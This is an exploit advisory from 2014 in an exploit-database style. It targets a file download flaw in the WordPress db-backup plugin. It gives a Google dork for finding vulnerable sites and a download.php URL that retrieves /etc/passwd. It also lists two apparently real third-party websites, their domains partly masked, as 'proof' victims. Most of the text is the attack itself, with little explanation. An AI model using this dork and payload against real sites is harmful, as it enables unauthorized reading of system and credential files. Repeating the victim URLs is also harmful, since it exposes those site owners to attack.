|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#| |-------------------------------------------------------------------------| |[*] Exploit Title: Wordpress db-backup plugin File Download Vulnerability | |[*] Google Dork: inurl:wp-content/plugins/db-backup/ | |[*] Date : Date: 2014-11-26 | |[*] Exploit Author: Ashiyane Digital Security Team | |[*] Vendor Homepage : https://wordpress.org/plugins/db-backup/ | |[*] Plugin Link : https://downloads.wordpress.org/plugin/wp-database-backup.zip | |[*] Tested on: Windows 7 | |[*] Discovered By : ACC3SS | |-------------------------------------------------------------------------| | |[*] Location :[localhost]/wp-content/plugins/db-backup/download.php?file=/etc/passwd | |-------------------------------------------------------------------------| |[*] Proof: | |[*] http://www.bagXneris.fr/laosi-siglis/wp-content/plugins/db-backup/download.php?file=/etc/passwd | |[*] http://www.cXartegrise-pointimmatriculation.fr/wp-content/plugins/db-backup/download.php?file=/etc/passwd | | |-------------------------------------------------------------------------| |-------------------------------------------------------------------------| |-------------------------------------------------------------------------| |#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|